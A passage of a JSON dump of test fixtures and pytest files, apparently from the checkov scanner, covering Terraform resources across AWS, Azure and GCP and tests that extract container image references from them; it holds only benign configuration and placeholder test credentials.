\"example\",\n          \"power\": \"nano\",\n          \"public_domain_names\": [],\n          \"scale\": 1,\n          \"tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zone\": true,\n          \"created_at\": true,\n          \"id\": true,\n          \"power_id\": true,\n          \"principal_arn\": true,\n          \"private_domain_name\": true,\n          \"private_registry_access\": true,\n          \"public_domain_names\": [],\n          \"resource_type\": true,\n          \"state\": true,\n          \"tags_all\": true,\n          \"url\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"private_registry_access\": [],\n          \"public_domain_names\": [],\n          \"tags_all\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_lightsail_container_service_deployment_version.example\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_lightsail_container_service_deployment_version\",\n      \"name\": \"example\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"container\": [\n            {\n              \"command\": [],\n              \"container_name\": \"hello-world\",\n              \"environment\": {\n                \"MY_ENVIRONMENT_VARIABLE\": \"my_value\"\n              },\n              \"image\": \"amazon/amazon-lightsail:hello-world\",\n              \"ports\": {\n                \"80\": \"HTTP\"\n              }\n            }\n          ],\n          \"public_endpoint\": [\n            {\n              \"container_name\": \"hello-world\",\n              \"container_port\": 80,\n              \"health_check\": [\n                {\n                  \"healthy_threshold\": 2,\n                  \"interval_seconds\": 5,\n                  \"path\": \"/\",\n                  \"success_codes\": \"200-499\",\n                  \"timeout_seconds\": 2,\n                  \"unhealthy_threshold\": 2\n                }\n              ]\n            }\n          ],\n          \"service_name\": \"example\",\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"container\": [\n            {\n              \"command\": [],\n              \"environment\": {},\n              \"ports\": {}\n            }\n          ],\n          \"created_at\": true,\n          \"id\": true,\n          \"public_endpoint\": [\n            {\n              \"health_check\": [\n                {}\n              ]\n            }\n          ],\n          \"state\": true,\n          \"version\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"container\": [\n            {\n              \"command\": [],\n              \"environment\": {},\n              \"ports\": {}\n            }\n          ],\n          \"public_endpoint\": [\n            {\n              \"health_check\": [\n                {}\n              ]\n            }\n          ]\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"expressions\": {\n          \"profile\": {\n            \"constant_value\": \"dev2\"\n          },\n          \"region\": {\n            \"constant_value\": \"us-west-2\"\n          }\n        }\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_lightsail_container_service.example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_lightsail_container_service\",\n          \"name\": \"example\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"is_disabled\": {\n              \"constant_value\": false\n            },\n            \"name\": {\n              \"constant_value\": \"example\"\n            },\n            \"power\": {\n              \"constant_value\": \"nano\"\n            },\n            \"scale\": {\n              \"constant_value\": 1\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_lightsail_container_service_deployment_version.example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_lightsail_container_service_deployment_version\",\n          \"name\": \"example\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"container\": [\n              {\n                \"command\": {\n                  \"constant_value\": []\n                },\n                \"container_name\": {\n                  \"constant_value\": \"hello-world\"\n                },\n                \"environment\": {\n                  \"constant_value\": {\n                    \"MY_ENVIRONMENT_VARIABLE\": \"my_value\"\n                  }\n                },\n                \"image\": {\n                  \"constant_value\": \"amazon/amazon-lightsail:hello-world\"\n                },\n                \"ports\": {\n                  \"constant_value\": {\n                    \"80\": \"HTTP\"\n                  }\n                }\n              }\n            ],\n            \"public_endpoint\": [\n              {\n                \"container_name\": {\n                  \"constant_value\": \"hello-world\"\n                },\n                \"container_port\": {\n                  \"constant_value\": 80\n                },\n                \"health_check\": [\n                  {\n                    \"healthy_threshold\": {\n                      \"constant_value\": 2\n                    },\n                    \"interval_seconds\": {\n                      \"constant_value\": 5\n                    },\n                    \"path\": {\n                      \"constant_value\": \"/\"\n                    },\n                    \"success_codes\": {\n                      \"constant_value\": \"200-499\"\n                    },\n                    \"timeout_seconds\": {\n                      \"constant_value\": 2\n                    },\n                    \"unhealthy_threshold\": {\n                      \"constant_value\": 2\n                    }\n                  }\n                ]\n              }\n            ],\n            \"service_name\": {\n              \"references\": [\n                \"aws_lightsail_container_service.example.name\",\n                \"aws_lightsail_container_service.example\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/image_referencer/resources/aws/sagemaker_image_version.tf",
    "content": "resource \"aws_sagemaker_image_version\" \"test\" {\n  image_name = \"name\"\n  base_image = \"012345678912.dkr.ecr.us-west-2.amazonaws.com/image:latest\"\n}"
  },
  {
    "path": "tests/terraform/image_referencer/resources/aws/sagemaker_model.tf",
    "content": "resource \"aws_sagemaker_model\" \"example1\" {\n  name               = \"my-model\"\n  execution_role_arn = \"arn:aws:iam::123456789012:role/SageMakerExecutionRole\"\n\n  primary_container {\n    image = \"012345678912.dkr.ecr.us-west-2.amazonaws.com/image1:latest\"\n  }\n}\n\nresource \"aws_sagemaker_model\" \"example2\" {\n  name               = \"my-model\"\n  execution_role_arn = \"arn:aws:iam::123456789012:role/SageMakerExecutionRole\"\n\n  container {\n    image = \"012345678912.dkr.ecr.us-west-2.amazonaws.com/image2:latest\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/image_referencer/resources/azure/app_service_linux_function.tf",
    "content": "resource \"azurerm_linux_function_app\" \"test\" {\n  name                = \"acctest-LFA-%d\"\n  location            = azurerm_resource_group.test.location\n  resource_group_name = azurerm_resource_group.test.name\n  service_plan_id     = azurerm_service_plan.test.id\n  storage_account_name       = azurerm_storage_account.test.name\n  storage_account_access_key = azurerm_storage_account.test.primary_access_key\n\n  site_config {\n    application_stack {\n      docker {\n        registry_url = \"https://mcr.microsoft.com\"\n        image_name   = \"azure-app-service/samples/aspnethelloworld\"\n        image_tag    = \"latest\"\n      }\n    }\n  }\n}\n\nresource \"azurerm_linux_function_app_slot\" \"test\" {\n  name                       = \"acctest-LFAS-%d\"\n  function_app_id            = azurerm_linux_function_app.test.id\n  storage_account_name       = azurerm_storage_account.test.name\n  storage_account_access_key = azurerm_storage_account.test.primary_access_key\n\n  site_config {\n    application_stack {\n      docker {\n        registry_url = \"https://mcr.microsoft.com\"\n        image_name   = \"azure-functions/python\"\n        image_tag    = \"4-python3.10-appservice\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/image_referencer/resources/azure/app_service_linux_web.tf",
    "content": "resource \"azurerm_linux_web_app\" \"test\" {\n  name                = \"acctestWA-%d\"\n  location            = azurerm_resource_group.test.location\n  resource_group_name = azurerm_resource_group.test.name\n  service_plan_id     = azurerm_service_plan.test.id\n\n  app_settings = {\n    \"DOCKER_REGISTRY_SERVER_URL\"          = \"https://mcr.microsoft.com\"\n    \"DOCKER_REGISTRY_SERVER_USERNAME\"     = \"\"\n    \"DOCKER_REGISTRY_SERVER_PASSWORD\"     = \"\"\n    \"WEBSITES_ENABLE_APP_SERVICE_STORAGE\" = \"false\"\n  }\n\n  site_config {\n    application_stack {\n      docker_image     = \"mcr.microsoft.com/appsvc/staticsite\"\n      docker_image_tag = \"latest\"\n    }\n  }\n}\n\n\nresource \"azurerm_linux_web_app_slot\" \"test\" {\n  name           = \"acctestWAS-%d\"\n  app_service_id = azurerm_linux_web_app.test.id\n\n  app_settings = {\n    \"DOCKER_REGISTRY_SERVER_URL\"          = \"https://mcr.microsoft.com\"\n    \"DOCKER_REGISTRY_SERVER_USERNAME\"     = \"\"\n    \"DOCKER_REGISTRY_SERVER_PASSWORD\"     = \"\"\n    \"WEBSITES_ENABLE_APP_SERVICE_STORAGE\" = \"false\"\n  }\n\n  site_config {\n    application_stack {\n      docker_image     = \"busybox\"\n      docker_image_tag = \"latest\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/image_referencer/resources/azure/app_service_windows_web.tf",
    "content": "resource \"azurerm_windows_web_app\" \"test\" {\n  name                = \"acctestWA-%d\"\n  location            = azurerm_resource_group.test.location\n  resource_group_name = azurerm_resource_group.test.name\n  service_plan_id     = azurerm_service_plan.test.id\n\n  app_settings = {\n    \"DOCKER_REGISTRY_SERVER_URL\"          = \"https://index.docker.io\"\n    \"DOCKER_REGISTRY_SERVER_USERNAME\"     = \"\"\n    \"DOCKER_REGISTRY_SERVER_PASSWORD\"     = \"\"\n    \"WEBSITES_ENABLE_APP_SERVICE_STORAGE\" = \"false\"\n  }\n\n  site_config {\n    application_stack {\n      docker_container_name = \"hello-world\"\n      docker_container_tag  = \"latest\"\n    }\n  }\n}\n\nresource \"azurerm_windows_web_app_slot\" \"test\" {\n  name           = \"acctestWAS-%d\"\n  app_service_id = azurerm_linux_web_app.test.id\n\n  app_settings = {\n    \"DOCKER_REGISTRY_SERVER_URL\"          = \"https://index.docker.io\"\n    \"DOCKER_REGISTRY_SERVER_USERNAME\"     = \"\"\n    \"DOCKER_REGISTRY_SERVER_PASSWORD\"     = \"\"\n    \"WEBSITES_ENABLE_APP_SERVICE_STORAGE\" = \"false\"\n  }\n\n  site_config {\n    application_stack {\n      docker_container_name = \"busybox\"\n      docker_container_tag  = \"latest\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/image_referencer/resources/azure/batch.tf",
    "content": "resource \"azurerm_batch_pool\" \"test\" {\n  name                = \"testaccpool%s\"\n  resource_group_name = azurerm_resource_group.test.name\n  account_name        = azurerm_batch_account.test.name\n  node_agent_sku_id   = \"batch.node.ubuntu 20.04\"\n  vm_size             = \"Standard_A1\"\n  fixed_scale {\n    target_dedicated_nodes = 1\n  }\n  storage_image_reference {\n    publisher = \"microsoft-azure-batch\"\n    offer     = \"ubuntu-server-container\"\n    sku       = \"20-04-lts\"\n    version   = \"latest\"\n  }\n  container_configuration {\n    type                  = \"DockerCompatible\"\n    container_image_names = [\"centos7\"]\n    container_registries {\n      registry_server = \"myContainerRegistry.azurecr.io\"\n      user_name       = \"myUserName\"\n      password        = \"myPassword\"  # checkov:skip=CKV_SECRET_6 test secret\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/image_referencer/resources/azure/containers.tf",
    "content": "resource \"azurerm_container_group\" \"test\" {\n  name                = \"acctestcontainergroupemptyshared-%d\"\n  location            = azurerm_resource_group.test.location\n  resource_group_name = azurerm_resource_group.test.name\n  ip_address_type     = \"None\"\n  os_type             = \"Linux\"\n  restart_policy      = \"Never\"\n\n  init_container {\n    name     = \"init\"\n    image    = \"busybox\"\n    commands = [\"touch\", \"/sharedempty/file.txt\"]\n\n    volume {\n      name       = \"logs\"\n      mount_path = \"/sharedempty\"\n      read_only  = false\n      empty_dir  = true\n    }\n  }\n\n  container {\n    name   = \"reader\"\n    image  = \"ubuntu:20.04\"\n    cpu    = \"1\"\n    memory = \"1.5\"\n\n    volume {\n      name       = \"logs\"\n      mount_path = \"/sharedempty\"\n      read_only  = false\n      empty_dir  = true\n    }\n\n    commands = [\"/bin/bash\", \"-c\", \"timeout 30 watch --interval 1 --errexit \\\"! cat /sharedempty/file.txt\\\"\"]\n  }\n}\n"
  },
  {
    "path": "tests/terraform/image_referencer/resources/azure/spring_cloud.tf",
    "content": "resource \"azurerm_spring_cloud_container_deployment\" \"example\" {\n  name                = \"example\"\n  spring_cloud_app_id = azurerm_spring_cloud_app.example.id\n  instance_count      = 2\n  arguments           = [\"-cp\", \"/app/resources:/app/classes:/app/libs/*\", \"hello.Application\"]\n  commands            = [\"java\"]\n  server              = \"docker.io\"\n  image               = \"springio/gs-spring-boot-docker\"\n  language_framework  = \"springboot\"\n\n  environment_variables = {\n    \"Foo\" : \"Bar\"\n    \"Env\" : \"Staging\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/image_referencer/resources/gcp/cloud_run.tf",
    "content": "resource \"google_cloud_run_service\" \"example\" {\n  name     = \"cloudrun-srv\"\n  location = \"us-central1\"\n\n  template {\n    spec {\n      containers {\n        image = \"gcr.io/cloudrun/hello\"\n      }\n    }\n  }\n\n  traffic {\n    percent         = 100\n    latest_revision = true\n  }\n}\n"
  },
  {
    "path": "tests/terraform/image_referencer/resources/gcp/cloud_run_v2.tf",
    "content": "resource \"google_cloud_run_v2_job\" \"example\" {\n  name     = \"cloudrun-job\"\n  location = \"us-central1\"\n  launch_stage = \"BETA\"\n\n  template {\n    template {\n      containers {\n        image = \"gcr.io/cloudrun/job\"\n      }\n    }\n  }\n}\n\nresource \"google_cloud_run_v2_service\" \"example\" {\n  name     = \"cloudrun-service\"\n  location = \"us-central1\"\n  ingress = \"INGRESS_TRAFFIC_ALL\"\n\n  binary_authorization {\n    use_default = true\n    breakglass_justification = \"Some justification\"\n  }\n  template {\n    containers {\n      image = \"gcr.io/cloudrun/hello\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/image_referencer/resources/gcp/cloudbuild.tf",
    "content": "resource \"google_cloudbuild_trigger\" \"build-trigger\" {\n  location = \"global\"\n\n  trigger_template {\n    branch_name = \"main\"\n    repo_name   = \"my-repo\"\n  }\n\n  build {\n    step {\n      name = \"gcr.io/cloud-builders/gsutil\"\n      args = [\"cp\", \"gs://mybucket/remotefile.zip\", \"localfile.zip\"]\n      timeout = \"120s\"\n      secret_env = [\"MY_SECRET\"]\n    }\n\n    step {\n      name   = \"ubuntu\"\n      script = \"echo hello\" # using script field\n    }\n\n    source {\n      storage_source {\n        bucket = \"mybucket\"\n        object = \"source_code.tar.gz\"\n      }\n    }\n    tags = [\"build\", \"newFeature\"]\n    substitutions = {\n      _FOO = \"bar\"\n      _BAZ = \"qux\"\n    }\n    queue_ttl = \"20s\"\n    logs_bucket = \"gs://mybucket/logs\"\n    secret {\n      kms_key_name = \"projects/myProject/locations/global/keyRings/keyring-name/cryptoKeys/key-name\"\n      secret_env = {\n        PASSWORD = \"ZW5jcnlwdGVkLXBhc3N3b3JkCg==\"  # checkov:skip=CKV_SECRET_6 test secret  # checkov:skip=CKV_SECRET_80 test secret\n      }\n    }\n    available_secrets {\n      secret_manager {\n        env          = \"MY_SECRET\"\n        version_name = \"projects/myProject/secrets/mySecret/versions/latest\"\n      }\n    }\n    artifacts {\n      images = [\"gcr.io/$PROJECT_ID/$REPO_NAME:$COMMIT_SHA\"]\n      objects {\n        location = \"gs://bucket/path/to/somewhere/\"\n        paths = [\"path\"]\n      }\n    }\n    options {\n      source_provenance_hash = [\"MD5\"]\n      requested_verify_option = \"VERIFIED\"\n      machine_type = \"N1_HIGHCPU_8\"\n      disk_size_gb = 100\n      substitution_option = \"ALLOW_LOOSE\"\n      dynamic_substitutions = true\n      log_streaming_option = \"STREAM_OFF\"\n      worker_pool = \"pool\"\n      logging = \"LEGACY\"\n      env = [\"ekey = evalue\"]\n      secret_env = [\"secretenv = svalue\"]\n      volumes {\n        name = \"v1\"\n        path = \"v1\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/image_referencer/test_manager.py",
    "content": "from unittest import mock\n\nimport pytest\nfrom checkov.common.images.image_referencer import Image\nfrom checkov.terraform.image_referencer.manager import TerraformImageReferencerManager\nfrom tests.graph_utils.utils import set_graph_by_graph_framework, add_vertices_to_graph_by_graph_framework, \\\n    GRAPH_FRAMEWORKS\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_extract_images_from_resources(graph_framework):\n    # given\n    aws_resource = {\n        \"file_path_\": \"/ecs.tf\",\n        \"__end_line__\": 31,\n        \"__start_line__\": 1,\n        \"container_definitions\": [\n            {\n                \"name\": \"first\",\n                \"image\": \"nginx\",\n                \"cpu\": 10,\n                \"memory\": 512,\n                \"essential\": True,\n                \"portMappings\": [{\"containerPort\": 80, \"hostPort\": 80}],\n            },\n        ],\n        \"resource_type\": \"aws_ecs_task_definition\",\n    }\n    azure_resource = {\n        \"file_path_\": \"/batch.tf\",\n        \"__end_line__\": 25,\n        \"__start_line__\": 1,\n        \"container_configuration\": {\n            \"container_image_names\": [\"python:3.9-alpine\"],\n            \"container_registries\": {\n                \"password\": \"myPassword\",  # checkov:skip=CKV_SECRET_6 test secret\n                \"registry_server\": \"myContainerRegistry.azurecr.io\",\n                \"user_name\": \"myUserName\",\n            },\n            \"type\": \"DockerCompatible\",\n        },\n        \"resource_type\": \"azurerm_batch_pool\",\n    }\n    gcp_resource = {\n        \"file_path_\": \"/cloud_run.tf\",\n        \"__end_line__\": 17,\n        \"__start_line__\": 1,\n        \"template\": {\n            \"spec\": {\n                \"containers\": {\n                    \"image\": \"gcr.io/cloudrun/hello\",\n                }\n            }\n        },\n        \"resource_type\": \"google_cloud_run_service\",\n    }\n    graph = set_graph_by_graph_framework(graph_framework)\n    add_vertices_to_graph_by_graph_framework(graph_framework, aws_resource, graph, 1, 'first')\n    add_vertices_to_graph_by_graph_framework(graph_framework, azure_resource, graph, 2, '2')\n    add_vertices_to_graph_by_graph_framework(graph_framework, gcp_resource, graph, 3, '3')\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        images = TerraformImageReferencerManager(graph_connector=graph).extract_images_from_resources()\n\n    # then\n    assert images == [\n        Image(file_path=\"/ecs.tf\", name=\"nginx\", start_line=1, end_line=31, related_resource_id=\"/ecs.tf:None\"),\n        Image(\n            file_path=\"/batch.tf\",\n            name=\"python:3.9-alpine\",\n            start_line=1,\n            end_line=25,\n            related_resource_id=\"/batch.tf:None\",\n        ),\n        Image(\n            file_path=\"/cloud_run.tf\",\n            name=\"gcr.io/cloudrun/hello\",\n            start_line=1,\n            end_line=17,\n            related_resource_id=\"/cloud_run.tf:None\",\n        ),\n    ]\n\n"
  },
  {
    "path": "tests/terraform/image_referencer/test_plan_runner_aws_resources.py",
    "content": "from pathlib import Path\nfrom unittest import mock\n\nimport pytest\nfrom pytest_mock import MockerFixture\n\nfrom checkov.common.bridgecrew.bc_source import get_source_type\nfrom checkov.common.output.report import CheckType\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.plan_runner import Runner\nfrom tests.common.image_referencer.test_utils import (\n    mock_get_empty_license_statuses_async,\n    mock_get_license_statuses_async,\n    mock_get_image_cached_result_async,\n)\nfrom tests.graph_utils.utils import GRAPH_FRAMEWORKS\n\nRESOURCES_PATH = Path(__file__).parent / \"resources/aws\"\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_apprunner_resources(mocker: MockerFixture, graph_framework):\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n\n    # given\n    file_name = \"apprunner_tfplan.json\"\n    image_name = \"public.ecr.aws/aws-containers/hello-app-runner:latest\"\n    code_lines = \"14-44\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n    bc_integration.bc_source = get_source_type(\"disabled\")\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.TERRAFORM_PLAN)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 1\n    assert len(tf_report.passed_checks) == 1\n    assert len(tf_report.failed_checks) == 0\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 3\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).musl\",\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).openssl\",\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go\",\n    }\n    assert (\n            sca_image_report.image_cached_results[0][\"dockerImageName\"]\n            == \"public.ecr.aws/aws-containers/hello-app-runner:latest\"\n    )\n    assert (\n            \"terraform/image_referencer/resources/aws/apprunner_tfplan.json:aws_apprunner_service.example\"\n            in sca_image_report.image_cached_results[0][\"relatedResourceId\"]\n    )\n    assert sca_image_report.image_cached_results[0][\"packages\"] == [\n        {\"type\": \"os\", \"name\": \"tzdata\", \"version\": \"2021a-1+deb11u5\", \"licenses\": []}\n    ]\n\n    assert len(sca_image_report.passed_checks) == 1\n    assert len(sca_image_report.failed_checks) == 4\n    assert len(sca_image_report.image_cached_results) == 1\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_batch_resources(mocker: MockerFixture, graph_framework):\n    # given\n    file_name = \"batch_tfplan.json\"\n    image_name = \"busybox\"\n    code_lines = \"14-24\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.TERRAFORM_PLAN)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 1\n    assert len(tf_report.passed_checks) == 1\n    assert len(tf_report.failed_checks) == 1\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 1\n    assert sca_image_report.resources == {f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go\"}\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 3\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_codebuild_resources(mocker: MockerFixture, graph_framework):\n    # given\n    file_name = \"codebuild_tfplan.json\"\n    image_name = \"public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0\"\n    code_lines = \"122-191\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.TERRAFORM_PLAN)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 3\n    assert len(tf_report.passed_checks) == 9\n    assert len(tf_report.failed_checks) == 2\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 1\n    assert sca_image_report.resources == {f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go\"}\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 3\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_ecs_resources(mocker: MockerFixture, graph_framework):\n    # given\n    file_name = \"ecs_tfplan.json\"\n    image_name_1 = \"nginx\"\n    image_name_2 = \"python:3.9-alpine\"\n    code_lines_1 = \"14-32\"\n    code_lines_2 = \"14-32\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.TERRAFORM_PLAN)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 1\n    assert len(tf_report.passed_checks) == 5\n    assert len(tf_report.failed_checks) == 1\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 2\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name_1} lines:{code_lines_1} (sha256:2460522297)).go\",\n        f\"{file_name} ({image_name_2} lines:{code_lines_2} (sha256:2460522297)).go\",\n    }\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 6\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_lightsail_resources(mocker: MockerFixture, graph_framework):\n    # given\n    file_name = \"lightsail_tfplan.json\"\n    image_name = \"amazon/amazon-lightsail:hello-world\"\n    code_lines = \"36-68\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.TERRAFORM_PLAN)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 2\n    assert len(tf_report.passed_checks) == 1\n    assert len(tf_report.failed_checks) == 0\n    assert len(tf_report.skipped_checks) == 0\n    assert len(tf_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 1\n    assert sca_image_report.resources == {f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go\"}\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 3\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n"
  },
  {
    "path": "tests/terraform/image_referencer/test_runner_aws_resources.py",
    "content": "from pathlib import Path\nfrom unittest import mock\n\nimport pytest\nfrom pytest_mock import MockerFixture\n\nfrom checkov.common.bridgecrew.bc_source import get_source_type\nfrom checkov.common.output.report import CheckType\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom tests.common.image_referencer.test_utils import (\n    mock_get_empty_license_statuses_async,\n    mock_get_license_statuses_async,\n    mock_get_image_cached_result_async,\n)\nfrom tests.graph_utils.utils import GRAPH_FRAMEWORKS\n\nRESOURCES_PATH = Path(__file__).parent / \"resources/aws\"\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_apprunner_resources(mocker: MockerFixture, graph_framework):\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n\n    # given\n    file_name = \"apprunner.tf\"\n    image_name = \"public.ecr.aws/aws-containers/hello-app-runner:latest\"\n    code_lines = \"1-18\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n    bc_integration.bc_source = get_source_type(\"disabled\")\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    tf_report = next(report for report in reports if report.check_type == CheckType.TERRAFORM)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(tf_report.resources) == 1\n    assert len(tf_report.passed_checks) == 0\n    assert len(tf_report.failed_checks) == 0\n    assert 